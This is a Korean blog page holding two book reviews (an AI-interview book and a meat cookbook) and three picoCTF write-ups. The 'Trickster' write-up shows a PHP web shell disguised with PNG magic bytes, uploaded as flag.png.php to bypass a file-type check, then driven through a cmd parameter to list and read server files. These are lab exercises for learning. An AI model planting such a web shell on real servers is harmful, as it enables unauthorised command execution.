조슈아 테넨바움은 MIT에서 컴퓨터 인지 과학 교수를 맡고 잇다. 그의 연구는 인공지능을 컴퓨터 언어로 이해하는 것, 인간 수준의 인공지능을 만드는 것을 목표로 하고 있다. 

 

Lex Fridman은 컴퓨터 과학자 겸 유투버이다. 그의 팟캐스트에서는 유명한 과학자, 사업가 등 영향력 있는 사람들이 많이 나온다. 그는 컴퓨터 과학자이기 때문에 기술적인 대화도 패널들과 나눌 수 있어서 유명한 과학자, 공학자들과 깊이 있는 대화를 나눈다. 

Lex Fridman이 기술, 공학 위주로 다룬다면 Joe Rogan은 문화, 예술, 연예, 정치 등 폭 넓게 다루는 유투버이다. 둘 다 팟캐스트로 유명하니 관심이 있다면 한 번 살펴보자. 

 

글만 가지고 설명하면 누가 누군지 헷갈리기 때문에 패널의 얼굴을 썸네일로 사용하는 Lex Fridman의 영상들을 첨부했다. 이 책은 기술적으로 깊게 딥러닝과 인공지능을 다루는 책이 아니기 때문에 인공지능을 공부하는 적이 없어도 인공지능에 관심이 있는 사람이라면 읽어보는 것이 좋다고 생각한다. 책에 나온 패널들이 대부분이 인간 지능의 수준을 가진 일반 인공지능(AGI)이 실생활에 사용되려면 멀었고 그런 걱정을 지금부터 할 필요가 없다고 주장한다. 개인적으로 앤드류 응 교수님의 관점이 나랑 제일 비슷한 것 같다. 책의 옮긴이들이 전부 어느 정도 CS 지식이 있고 인공지능에 관심이 있어서 번역이 자연스러웠다고 느꼈다. 옮김이가 영어, 한국어, CS 지식이 있기 어려워서 CS 책을 매끄럽게 번역하기가 굉장히 어렵다고 생각하는데 번역을 잘해서 원서를 읽지 않아도 괜찮다고 생각한다. 정말 오랜만에 원서를 읽지 않아도 괜찮다는 것을 알려준 좋은 책이었다. 

 
I Like Meat
『I Like Meat』은 고기를 사랑하는 한식 셰프 임성근이 고기 마니아라면 누구나 궁금해 할 메뉴를 엄선해 수록한 책이다. 좋은 고기를 고르는 방법부터 팬 달구기, 고기 올리는 타이밍뿐만 아니라 고기 먹을 때 빼놓을 수 없는 곁들이 반찬 레시피와 쌈장 비율, 먹고 남은 고기 활용법 등을 알차게 담았다. 삼겹살 레시피만 10가지 수록되어 있으며 고기 부의 하나를 석쇠, 프라이팬, 주물팬 등 다양한 도구로 요리할 수 있도록 알려주는 진정한 고기 가이드북이다. 고기를 좋아하는 이는 많지만 제대로 알고 먹는 사람은 그리 많지 않을 것이다. 아무리 좋은 고기라 한들 용도에 맞지 않으면 그 고기는 가치가 떨어진다. 조리법에 따라 고기의 적절한 부위를 선별하고, 전처리 및 조리방법을 정하고, 정확한 레시피에 따라야 맛과 영양을 모두 챙길 수 있다. 임성근 셰프는 그동안 조리를 하면서 느꼈던 방법 그대로 독자들에게 전달하려고 하였으며, 레시피도 중요하지만 만드는 과정도 중요하기에 더 많은 고기상식을 전달하고자 했다. 책에는 셰프의 그러한 노력과 노하우가 고스란히 담겨있다.
저자
임성근
출판
그리고책
출판일
2017.06.09

 

거의 10년 전쯤에 올리브 채널에서 하던 한식대첩을 엄마랑 아주 재미있게 본 적이 있다. 이 책은 한식대첩 시즌 3 우승자였던 (서울 팀) 임성근 셰프가 쓴 고기 책이다. 

책은 크게 MEAT INFO(고기 제대로 즐기기), Chapter1 삼겹살 구이, Chapter2 돼지고기 양념구이, Chapter3 쇠고기구이, Chapter4 쇠고기 불고기, Chapter5 수육, Chapter6 고기 국물요리로 이루어져 있다. 

여태까지 살면서 고기를 많이 먹어왔지만 고기에 이력번호라는 것이 있는 줄 몰랐다. 이력번호를 통해 우리가 먹는 고기에 대해 여러 정보(고기의 출생 연도, 암컷, 수컷의 유무, 잡은 날짜 및 위치...)를 알 수 있다는 사실도 이 책을 읽으면서 처음 알았다. 

소와 돼지 그림을 그려서 특정 부위에서 어떤 고기가 나왔는 설명해주고 각 부위에 적절한 조리법도 알려준다. 

조리도구도 석쇠, 프라이팬에 따라서 어떻게 고기를 구워야 하는지, 석쇠와 프라이팬에 구웠을 때 고기 맛이 어떻게 차이 나는지 설명한다. 고기는 물론 고기에 필요한 양념(만능간장,...)들을 만드는 방법에 대해서도 소개한다. 

맛있어 보이는 고기요리가 많이 있었지만 개인적으로 해보고 싶거나 먹어보고 싶은 요리는 된장삼겹살인 것 같다. 그냥 구워 먹어도 항상 맛있는 삼겹살인데 된장 소스를 발라서 구워 먹으면 무슨 맛일까 궁금하다. 

 

개인적으로는 정육식당이 알려주는 최고의 고기 요리보다 훨씬 맛있어 보이는 고기요리들이 많아 보였다. 아무래도 내가 한국인이어서 그런 걸 수도 있다. 닭고기 구위를 다루는 챕터가 없어서 아쉬웠다. 나는 국을 별로 좋아하지 않기 때문에 고기 국물요리(국) 대신 닭고기구이를 다루는 챕터가 있으면 더 좋았을 것 같다. 

 

Easy라고 되어 있지만 이 문제는 bash script를 작성한 경험이 많지 않으면 어렵다고 생각한다.

 

Instance를 켜서 ssh로 접속하면 파일이 3개가 있다. 

cat checksum.txt 
03b52eabed517324828b9e09cbbf8a7b0911f348f76cf989ba6d51acede6d5d8

 

decrypt.sh은 다음과 같다. 

 

cat decrypt.sh 

        #!/bin/bash

        # Check if the user provided a file name as an argument
        if [ $# -eq 0 ]; then
            echo "Expected usage: decrypt.sh <filename>"
            exit 1
        fi

        # Store the provided filename in a variable
        file_name="$1"

        # Check if the provided argument is a file and not a folder
        if [ ! -f "/home/ctf-player/drop-in/$file_name" ]; then
            echo "Error: '$file_name' is not a valid file. Look inside the 'files' folder with 'ls -R'!"
            exit 1
        fi

        # If there's an error reading the file, print an error message
        if ! openssl enc -d -aes-256-cbc -pbkdf2 -iter 100000 -salt -in "/home/ctf-player/drop-in/$file_name" -k picoCTF; then
            echo "Error: Failed to decrypt '$file_name'. This flag is fake! Keep looking!"
        fi

 

decrypt.sh은 뒤에 파일 이름을 argument로 받고 argument로는 폴더가 아닌 파일만 받는다. 

 

decrypt.sh의 핵심은 이 부분이다. 

 

openssl enc -d -aes-256-cbc -pbkdf2 -iter 100000 -salt -in "/home/ctf-player/drop-in/$file_name" -k picoCTF;

 

설명은 다음과 같다.

 

1. openssl로 -d(decryption)을  할 것이다.

2. 알고리즘은 AES 암호화를 이용하는데 key size는 256 bits이고 CBC(Cipher Block Chaining) mode를 이용한다.

3. -pbkdf2(Password-Based Key Derivation Function 2)를 이용하여 key를 얻는다. 

4. -iter 100000 pbkdf2 함수가 100000의 iterations를 돌게 한다. 

5. -salt로 random 한 salt 값을 설정한다. 

6. -in은 복호화할 파일의 위치를 설정한다.

7. -k는 개인 key를 만드는 데 사용되는 password이다.  

 

files는 directory이다.

 

00011a60  2MYWkWLC  4k4veVKp  8Shyigig  AiUxYmz8  Cb22Z7FO  G7enzzui  IITtRrrR  KbGMgDus  O5tEUFhw  R3rVsQa8  TRyxUwzw  WBpZ7iz6  ZyNsHVFW  dKisxYdK  g2nu6vlR  jcMzi4VO  lxv6mvZ6  p1LgEQdu  qojIz6XF  uMpXxbqr  xlqXOqhL
022cvpdN  2QpRnoZQ  4sczhCZl  8d0Ncqme  AmsN0Lkj  Ce5TrzJu  Gcv1H8Qs  IbMiqCHJ  KlqDh1ZQ  OH3906gp  RAXeLvjl  TXsLzqsp  WjY12GNe  aGVRRt1d  deppMJSV  gLAo3J0D  jdYv9CQ3  m1NnTZoo  p5INCxLV  r3HVTaJd  uUI8gJNi  yACAaKqG
04nLilRD  2emuPVOb  58BnWcOc  8hKIvq38  ArUDDIQ3  ClWGbsxu  GhrShrXN  Ie0xOcl5  L58tTvhF  OIYZeUCB  RFLWtody  TeaXjOeh  Ww6oTYL8  aHFaEXKf  dv0Mm4vr  gem657x8  jzmPaO2D  m3bsNhyN  p5INQHq8  r3Pw8pFI  ugeJ5RN3  yYRsKiUO
0MT2Wrui  2gP5wDgq  5bSdd2sp  8rIuGenM  Azqf6EEw  DCn7KnqG  Gtk4Kn9w  IikIpp05  L7gltlCF  OPqDbOIH  RHjAw3hj  TeyHF78l  X5rRZ32p  aIz8E0Iy  e1x51vcc  hNqXyUX2  kDPV8ASY  mWWBZCgt  pXJHJUbH  r8vIZE1F  vJDrHtxo  yg7uBent
0SGMttmR  2w5vJlLG  5gxjbRbh  91cLOGeN  B8pBCEvG  DSKHZ66z  GufDk3Mb  IlQwVZcY  LCLocE1C  Oe0SOw16  RPVIP1xx  ToT9QPKf  XGTpUJIw  afLk75aO  e2umkBxy  hZxbAqts  kKVvPy8S  mdFDpW9k  pb1E0Y3Z  rzYX4BnS  vMv1M1qs  zYz6howf
0fCDySFB  2yMtx5qd  5rHRNllE  9DNfzhUK  BN0HxLxE  Dmsex2Ug  HDLWGApz  ItYR0Da2  LMavH6jA  OnCx4O4u  RQWaIGxG  TtPblPd6  XJiFKTlc  b9YCg3Tz  e5b74XZq  haNCaZmC  kWjYWiLD  n2XnM9Nc  pnycz11G  s9TOeOaJ  vWguQ8rQ  zjkul95p
0hHVJSPh  303DzMmf  63MqIIVV  9KIFXofB  BOeN3lXR  EBBoQm7M  HIeYL84k  Izq2bmb5  Lq3dNalV  P7orF8IR  RVejZvvP  U3BoYTr9  XcmGmkwD  bDK7A26M  eFlmUkb6  iGwCDzaU  kZ6DTcql  n7Vs8Bjh  q53EoTzu  sAy34VP4  vc1wGQhn  zoz7gvVr
0mPyFlda  33CFCJ0y  64nJlBLv  9pluLfgA  BdO65Tk4  EG1lW2KR  HJIPzwjJ  J16J63tC  LrYo1dnu  PECjZnzJ  RdYwRe68  UDI6pN8S  YAZlvEou  bDZN0f4B  eNfM7vPK  iILvZZya  kbumrMcy  n8r2Ejk9  qCTrc9yM  sKi8TaSn  vjypfsoh
0xknvebh  36tjTWoF  69JSHBh1  ADMuzktV  Bh5xju3q  EXQ6DiO5  HMq6348V  JVEoV1Bn  MPeS8YHI  PpktRW9a  Rgs7l9CZ  UF1urDfG  YKQLrxBm  bcZupFpi  eZ4ehccg  ih6levXk  knHTEYup  nldOsSfJ  qHwcKaSC  sNI2Q6oa  vsGKdf0J
1kTWMoOI  3KZwXc8s  6vgioqew  AEJxVlNY  C1kYNpjq  F6yHlWpt  HUjCgnh4  Jcwq4RxP  N8vFOGDF  QHv46Plh  ScOtAOiZ  UUiDNDlO  YdTZkUcM  bjtBJwTc  efpcZmHN  j1v0LBVe  ksIZWNZR  nnZ33FAt  qK35XlHM  sRaKyq1f  w1XGgnr9
1mGlW6Ts  3Vs8v8kW  76rj6cv7  AGOEyD4N  CF4c5xR8  FJBePm2b  HWRVc59e  Jk8UBmcS  NC6PZdoL  QbiQCWZr  SwrcVnay  UuC7t9JQ  Z2rLXuyp  c3Z3JN0m  ekSs7xW4  jIlhVDLw  lZiPMwX4  nrwKQbJk  qSn3WAyi  svmptIxV  w8DmFhfg
2JKdkggW  3qDKN57P  7j2g9w9w  AVdbk5eX  CGkVyMxT  FLsBEmlR  Hmr54gXd  KCL5hW02  NS9xPzIA  QcIkjhJ0  T5IkmqtJ  V2eK2wiC  ZWIiY84t  cIDWC9cb  eknrQKQh  jObn0z94  lcYptJNC  oNnB9jru  qV83Dmye  tFGQywwr  woaiQu5g
2Jr8UtbZ  4CwloraZ  7ye3lPVb  AXFWLqwI  CLCyTz85  FOxKdaVP  HqxLJgMp  KKRWbrqC  Ndyi6bnx  QgmCuMSV  T6AHhqdE  V4VMSZd9  ZXqAvkcE  dDoFZTXh  fZHEnAvZ  jVkxEmtq  ld12od7V  oi96tAtc  qWv24Da7  tY2epsSy  wvhWmTPt
2K4XCmfE  4XqPqs6B  870YaC5g  AdzCNBlC  CNvsyU3W  FtMorZ65  IDQQR4nq  KUIfl2m7  NxdIqu0S  Qxrlj2uk  TPBDRCiJ  VhBNGSYV  ZdPbKJh1  dKYP6pnk  g2E6RkkX  jVlaDg4q  lmr9cGCE  oiy29oCW  qZ7TLGA0  tuma818A  xQJV5GcG

 

 

find files로는 files directory에 있는 모든 파일을 전부 다 찾아 준다. files 밑에 있는 모든 파일을 decrypt 해야 하기 때문에 for loop으로 각각의 파일에 decrypt.sh을 적용한다. 

 

 

for i in $(find files); do ./decrypt.sh $i; done

 

너무 에러가 많이 나와서 grep으로 flag만 잡아보려고 했으나 알 수 없는 이유로 grep을 써도 flag만 걸러지지 않았다.

 

picoCTF{trust_but_verify_00011a60}

 

 

checksum은 data가 손상되었는지의 유무를 확인하는 값이다. MD5, SHA1도 checksum인 걸 보아서는 hash와 유사한 것 같다. 

checksum에 대해서도 좀 찾아봐야겠다.

'picoCTF' 카테고리의 다른 글

ASCII Numbers  (4) 2024.11.06
weirdSnake  (0) 2024.11.06
SansAlpha  (0) 2024.11.06
Trickster  (1) 2024.10.29
findme  (0) 2024.10.29

PNG 사진 파일을 받는 파일 첨부 창이 하나 주어진다. 

 

 

 

PNG 파일을 올리면 다음과 같이 성공적으로 업로드가 되었다고 알려준다. 가능하면 처리한 후에 알려준다고 한다. 

 

 

더 이상 할 수 있는 게 없어서 cookies와 robots.txt를 확인해 보았다. 쿠키 값은 없어서 도움이 안 되었지만 robots.txt 에서는 보여주지 않는 directory가 1개, 텍스트 파일 1개가 있어서 robots.txt를 활용하는 게 맞는 방향인 것 같다. 

 

 

 

instructions.txt는 다음과 같다. 

PNG 사진 파일을 처리하는 web app을 만들어 보자. 앱은 사용자들이 png 사진 파일들을 업로드 할 수 있어야 된다. 

업로드한 파일에서 .png 확장자를 찾고 magic bytes가 맞는지 확인해야 한다. Magic bytes가 뭔지는 잘 모르겠지만 위키피디아에서는 앞의 몇 개의 bytes가 'PNG'를 hex 값으로 있어야 한다. PNG 파일이 맞는지 검증 후 업로드된 파일들을 저장한 후 관리자가 나중에 필요할 때 다시 사용할 수 있게 만들자.

 

 

 

 

Magic bytes(Header bytes)는 거의 모든 파일(bzip, gzip, ELF, Java)에 다 있다.  CTF에서  magic bytes를 이용하는 문제가 많으니 잘 알아두자. 

 

upload directory를 볼 수 있는 권한은 없는 것 같다. 

 

 

 

문제에서 Debian(Linux 배포판 중 하나) Server를 사용하니 webshell을 이용해서 웹 서버에서 command를 inject 하여 flag를 얻는 방향으로 접근해 보는 것이 나쁘지 않을 것 같다. 

 

대부분의 웹 서버에서 파일의 종류를 확인할 때 파일의 magic bytes 위주로 확인해서 파일의 종류를 검사한다. PNG 파일인 것 마냥 웹 서버를 속이기 위해서 파일의 앞부분에는 PNG의 magic bytes를 넣고 뒤에 부분은 PHP 코드를 이용해서 webshell을 작성하고 webshell로 원하는 command를 실행하면 될 것 같다.

 

일부로 파일이름을 flag.png.php로 지었다. 중간에. png가 있으면 웹 서버에서 png 파일로 착각할 것 같았기 때문이다. 

 

PNG
<?php
    system($_GET['cmd']);
?>

 

처음에 맥에서는 flag.png.php를 첨부할 수 없어서 무지 당황했다. 자동으로 웹 페이지에서 원하는 파일만 선택해 주기 때문에 왼쪽에 옵션 보기를 눌러서 모든 파일을 선택하면 아무 파일이나 선택할 수 있다. 

 

 

 

잘 업로드 되었다.

 

 

 

이번에도 warning과 error를 보여줘서 놀랬다.  cmd 값을 request로 보내면 system 함수가 실행하는 구조이기 때문에 cmd 값을 주면 warning은 없어진다. 

 

 

http://atlas.picoctf.net:53390/uploads/flag.png.php?cmd

 


ls, cd로 웹 서버를 탐팡하다가 바로 상위 directory에 이것저것 있는 것을 발견했다. 

 

http://atlas.picoctf.net:53390/uploads/flag.png.php?cmd=ls%20..

 

 

MFRDAZLDMUYDG.txt가 flag일 것 같다. 이름을 다 치기는 귀찮으니 *를 이용했다.

 

http://atlas.picoctf.net:53390/uploads/flag.png.php?cmd=cat%20../*.txt

 

검증된 전문가 trickster라는 의미의 flag가 나왔다. 

 

 

Robots.txt, webshell 등 Web의 여러 요소들을 물어보는 좋은 문제가 아닌가 싶다. 

사진파일인 것처럼 속여서 php 코드를 실행하는 부분 때문에 개인적으로는 Natas12, Natas13와 비슷하다고 느껴졌다. robots.txt를 추가로 확인해야 하는 점은 natas와는 조금 달랐다. 

 

'picoCTF' 카테고리의 다른 글

ASCII Numbers  (4) 2024.11.06
weirdSnake  (0) 2024.11.06
SansAlpha  (0) 2024.11.06
Verify  (0) 2024.10.29
findme  (0) 2024.10.29

로그인 창이 주어진다.  username과 password를 모두 test로 로그인을 하라고 알려준다. 

 

 

 

그랬더니 password만 test!으로 바꿔서 로그인을 하라고 알려준다. 

로그인을 하니 새로운 페이지가 나온다. 

 

 

페이지는 다음과 같다. 인간들아 환영한다. 친구가 이곳으로 redirection을 해서 왔지만 아무것도 찾을 수가 없었어. flag 찾게 도움 좀....

Flags를 검색해 보니 아무것도 나오지 않는다.

 

Redirection을 확인해 봐야겠다는 생각이 든다. Browser Network 탭의 Preserve log를 체크하면 redirection이 일어난 곳을 기록해서 보여준다. 

 

 

우리의 경우 아래와 같이 2번의 redirection이 일어난 것을 알 수 있다. URL 주소로 접속하려면?(query string)을 이용해서 GET method으로 request를 보내야 한다.

 

http://saturn.picoctf.net:49764/next-page/id?=cGljb0NURntwcm94aWVzX2Fs

 

http://saturn.picoctf.net:49764/next-page/id?=bF90aGVfd2F5XzI1YmJhZTlhfQ==

 

자세히 보면 두 번째 id 값은 base64 인코딩이 되어있다. 첫 번째 id 값도 알파벳+ 숫자로 구성되어 있으니 base64 인코딩이 되어 있지 않을까 싶다. 

 

Flag의 뒷부분이 나왔다. 

base64 -d <<< 'bF90aGVfd2F5XzI1YmJhZTlhfQ=='
l_the_way_25bbae9a}

 

base64 -d <<< 'cGljb0NURntwcm94aWVzX2Fs'
picoCTF{proxies_alvenv

 

Flag가 나온 것처럼 보이지만 틀렸다고 한다. 

 

picoCTF{proxies_alvenvl_the_way_25bbae9a}

 

Base64 인코딩은 길이가 다르면 인코딩 된 결괏값이 다르다. 따라서 같은 string도 나눠서 base64 인코딩하면 다른 결과가 나온다.

따라서 id 값을 모아서 base64 인코딩을 해보면 이전 flag와는 다른 flag가 나올 것이다. 

 

base64 -d <<< 'cGljb0NURntwcm94aWVzX2FsbF90aGVfd2F5XzI1YmJhZTlhfQ=='
picoCTF{proxies_all_the_way_25bbae9a}

 

Flag가 잘 나왔고 proxies 끝까지라는 의미를 가지고 있다.

 

Browser의 Network 탭에서 redirection이 기록된다는 사실을 몰랐다면 풀기 쉽지 않았을 것 같다.

 

'picoCTF' 카테고리의 다른 글

ASCII Numbers  (4) 2024.11.06
weirdSnake  (0) 2024.11.06
SansAlpha  (0) 2024.11.06
Verify  (0) 2024.10.29
Trickster  (1) 2024.10.29

+ Recent posts